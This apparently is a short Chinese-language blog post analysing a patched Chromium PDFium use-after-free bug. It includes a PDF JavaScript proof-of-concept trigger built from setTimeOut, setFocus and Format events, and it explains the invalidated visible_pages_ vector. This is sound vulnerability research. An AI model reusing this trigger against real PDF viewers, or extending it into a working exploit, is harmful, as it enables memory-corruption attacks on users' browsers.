Sunday, June 24, 2018

[04] 内部代码串联触发callback并错误更新状态导致UAF

https://chromium-review.googlesource.com/c/chromium/src/+/964592
https://bugs.chromium.org/p/chromium/issues/detail?id=822091

PoC:

Document Javascript
-------------------
01  app.setTimeOut('this.pageNum = 4',1000);
02  app.setTimeOut('this.pageNum = 1;',2000);

Page Close event of First Page
-------------------------------
03  this.getField('txt2').setFocus();

Format event of "txt1" Text Field on First Page
---------------------------------------------
04  a = this.pageNum;

当第一条指令执行时,页面设置了4个page,每个page为一个对象,当第二条指令执行时,页面被设置为1页。
第三句执行时,程序会调用GetVisiblePageIndex重新计算页面,同时,pages_[page_index]->GetPage() 会触发Format event handler,即第4句。
第四条指令执行时,PDFiumEngine::CalculateVisiblePages()将会被调用,它使用std::swap交换visible_pages_和一个空数组,因此,visible_pages_实际上内容都是被delete的状态。

注意04实际上是由03触发调用的,03在调用04之前,将visible_pages_无效化了,所以,在04的代码GetVisiblePageIndex执行时,将会访问到被visible_pages_中被释放的内容,产生UAF。

PDFiumEngine::CalculateVisiblePages() 
{
  ...........
  std::vector<int> formerly_visible_pages;
  std::swap(visible_pages_, formerly_visible_pages);  <--- C. 04 invalidate
  ...........
}

int PDFiumEngine::GetVisiblePageIndex(FPDF_PAGE page) {
  for (int page_index : visible_pages_) {              <--- A. 03 loop
    if (pages_[page_index]->GetPage() == page)   <--- B. 03 triggers 04
      return page_index;                                      <--- D. visible_pages_ invalid now, in next loop, this code will fail. UAF.
  }
  return -1;
}